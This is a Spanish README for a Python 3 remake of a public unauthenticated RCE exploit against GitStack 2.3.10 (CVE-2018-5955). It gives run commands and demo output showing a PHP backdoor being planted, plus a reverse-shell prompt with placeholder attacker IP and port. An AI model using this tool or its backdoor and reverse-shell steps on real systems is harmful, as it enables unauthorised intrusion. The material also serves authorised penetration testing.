
Un exploit para CVE-2018-5955 GitStack 2.3.10 RCE sin autenticación
Un exploit para CVE-2018-5955 GitStack 2.3.10 Ejecución Remota de Código No Autenticada
Exploit: GitStack 2.3.10 Ejecución Remota de Código No Autenticada
Fecha: 18.01.2018
Enlace del software: https://gitstack.com/
Autor del exploit: Kacper Szurek
Exploit original: https://www.exploit-db.com/exploits/43777
Sitio web: https://security.szurek.pl/
Categoría: remote
CVE: CVE-2018-5955
Fecha: 23.06.2023
Nuevas características: RCE interactivo, Detección de SO, función de Reverse Shell, adaptado de python2 a python3
CVE: CVE-2018-5955
Categoría: remote
No me hago responsable de tus acciones, ya que lo publiqué en GitHub con fines educativos o para pruebas de penetración certificadas y autorizadas.
Instalar requisitos:
pip install colorama
Luego, puedes ejecutarlo con:
python3 exploit.py
El SO se detectará después de haber explotado el CVE; de hecho, aparecerá esta línea de salida: "[*] OS: $operatingsystem" (Demostración a continuación)
[+] Get user list
[+] Found user twreath
[+] Web repository already enabled
[+] Get repositories list
[+] Found repository Website
[+] Add user to repository
[+] Disable access for anyone
[+] Create backdoor in PHP
[*] Type 'shell' to get a reverse shell
[*] OS : Windows <----
También puedes escribir "os" para saber qué tipo de sistema operativo es.
Para obtener una reverse shell real en el objetivo, puedes escribir "shell" y luego escribir tu IP y tu puerto de escucha así:
RCE > shell
[?] Please enter the IP address for the shell: YOUR IP HERE
[?] Please enter the port number for the shell: YOUR LISTEN PORT HERE